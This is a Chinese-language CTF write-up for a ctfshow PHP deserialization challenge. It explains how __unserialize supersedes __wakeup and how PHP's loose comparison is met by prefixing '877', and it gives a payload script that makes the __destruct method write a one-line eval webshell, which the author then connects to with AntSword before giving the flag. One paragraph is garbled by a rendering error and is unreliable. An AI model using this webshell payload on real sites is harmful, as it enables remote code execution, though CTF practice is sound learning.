本题是一道php反序列化的题目,通过代码审计发现这有一个陷阱,就是当反序列化的时候会触发__wakeup()这个魔术方法

这会导致不管则么构造payload都只会生成"error"
但是在php7.4以后的版本中如果一个类中同时定义了__unserialize()和 __wakeup(),则在反序列化时只会执行__unserialize() __wakeup()会被完全忽略
此时我第一眼看到

但这并不是触发点,因为我们无法执行__invoke()该魔术方法
因为在 PHP 中,__invoke() 是当把一个"对象"当作"函数"来调用时才会自动触发的魔术方法
但是本题没有形如
php
$obj = new ctfshowvip();
$obj(); // 像调用函数一样调用对象,此时会触发 __invoke()
的内容
所以本题的触发点是__destruct()
当对象被销毁时,会触发 __destruct()

我们可以通过 file_put_contents 写入一句话木马(Webshell)
条件是KaTeX parse error: Expected group after '_' at position 55: ...成十进制是 877 限制是在 _̲_unserialize 中,...this->code = $this->username . this−>password;。也就是说,code的值是由username和password字符串拼接而成的如果username是我们要写入的文件名(比如shell.php),password是我们要写入的代码(比如<?phpeval(this->password;。也就是说,code 的值是由 username 和 password 字符串拼接而成的 如果 username 是我们要写入的文件名(比如 shell.php),password 是我们要写入的代码(比如 <?php eval(this−>password;。也就是说,code的值是由username和password字符串拼接而成的如果username是我们要写入的文件名(比如shell.php),password是我们要写入的代码(比如<?phpeval(_POST1);?>),那么它们拼接后的 code 必然是一个包含字母的字符串(例如 shell.php<?php...)
一个包含字母的字符串,如何通过 == 877 的数字比较呢?
PHP 弱类型转换规则:当一个字符串与一个数字进行 == 比较时,PHP 会尝试将字符串转换为数字。如果字符串是以数字开头的,它会被转换为开头的数字;如果不是以数字开头,则转换为 0。
因此,只要 code 字符串是以 877 开头的,在与数字 877(0x36d)进行 == 比较时,PHP 就会判定它们相等
现在我们就可以开始构造payload
php
<?php
class ctfshowvip {
public $username;
public $password;
}
$a = new ctfshowvip();
$a->username = "877shell.php";
// 注意:如果后端对某些敏感字符有限制,可以利用 base64 编码或取反,
// 但此处 file_put_contents 直接写入,我们直接放一句话木马
$a->password = "<?php @eval($_POST[1]);?>";
echo serialize($a);
?>
然后将生成的序列化字符串作为 vip 参数传入

页面执行完毕后,会在当前目录下生成一个名为 877shell.php 的文件

看到返回结果为一个空白的页面说明成功执行
接下来我们使用蚁剑连接


最后在根目录下找到一个flag_is_here
flag就在其中
flag值为:ctfshow{ea123419-fc63-455f-b448-e2085a88d762}